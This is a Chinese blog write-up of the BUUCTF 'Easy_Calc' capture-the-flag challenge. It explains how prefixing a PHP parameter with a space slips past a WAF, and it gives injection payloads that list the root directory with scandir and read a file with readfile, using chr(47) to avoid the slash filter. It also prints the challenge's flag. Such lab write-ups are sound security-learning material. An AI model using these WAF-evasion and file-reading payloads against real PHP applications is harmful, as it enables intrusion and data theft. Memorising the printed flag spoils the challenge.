【BUUCTF】Easy_Calc

Itachi

Easy Calc

拿到一个计算器,看不出端倪,查看源码
img

有一段注释说这题有WAF,那思路应该就清晰了,绕WAF
JS里面写道有Calc.php文件,可以查看一下
img

可以看到绕过了很多符号和字母

知识点

假如WAF不允许num变量传递字母,可以在num前加个空格,这样WAF就找不到num这个变量了,因为现在的变量叫 " num",而不是 "num"。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。

  • **scandir()**:列出指定路径中的文件和目录,返回一个 array,包含有 directory 中的文件和目录。
  • **readfile()**:读取文件并写入到输出缓冲。
  • **var_dump()**:以数组的形式打印变量的相关信息。
  • **chr()**:返回相对应于 ascii 所指定的单个字符。

构造payload

查看php环境:? num=phpinfo()
img

可以看到是Linux操作环境,查看根目录:? num=var_dump(scandir(chr(47)))
<font color="#999AAA">由于根 /被过滤了,所以使用ASCII码 47</font>
img

可以看到第八个目录是 f1agg,通过 readfile函数拿flag
? num=var_dump(readfile(chr(47).f1agg))
img

得到 flag{b5772953-684b-4e8e-bf02-682b208f399f}

  • 标题: 【BUUCTF】Easy_Calc
  • 作者: Itachi
  • 创建于 : 2021-11-03 21:04:54
  • 更新于 : 2021-11-04 01:12:06
  • 链接: https://blog.tarchi.top/ctf/【BUUCTF】Easy-Calc/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
 评论
此页目录
【BUUCTF】Easy_Calc